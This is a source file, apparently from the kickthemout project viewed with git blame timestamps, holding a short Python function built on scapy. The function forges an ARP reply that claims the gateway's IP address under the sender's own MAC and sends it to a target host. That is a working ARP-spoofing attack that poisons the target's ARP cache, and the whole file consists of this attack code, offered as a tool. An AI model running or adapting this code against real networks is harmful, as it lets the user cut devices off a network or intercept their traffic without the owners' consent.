kickthemout/spoof.py

44 lines
814 B
Python
Raw Normal View History

2016-12-31 01:41:34 +01:00
#!/usr/bin/env python
# -.- coding: utf-8 -.-
# spoof.py
# authors: k4m4 & xdavidhu
"""
Copyright (C) 2016 Nikolaos Kamarinakis (nikolaskam@gmail.com) & David Schütz (xdavid@protonmail.com)
See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject)
"""
2016-12-27 23:45:19 +01:00
import sys
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
sendp
)
2016-12-31 01:41:34 +01:00
def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
2016-12-27 23:45:19 +01:00
2016-12-31 01:41:34 +01:00
ether = Ether()
ether.src = my_mac
2016-12-27 23:45:19 +01:00
2016-12-31 01:41:34 +01:00
arp = ARP()
arp.psrc = gateway_ip
arp.hwsrc = my_mac
2016-12-27 23:45:19 +01:00
2016-12-31 01:41:34 +01:00
arp = arp
arp.pdst = target_ip
arp.hwdst = target_mac
2016-12-27 23:45:19 +01:00
2016-12-31 01:41:34 +01:00
ether = ether
ether.src = my_mac
ether.dst = target_mac
2016-12-27 23:45:19 +01:00
arp.op = 2
2016-12-31 01:41:34 +01:00
def broadcastPacket():
packet = ether/arp
sendp(x=packet, verbose=False)
broadcastPacket()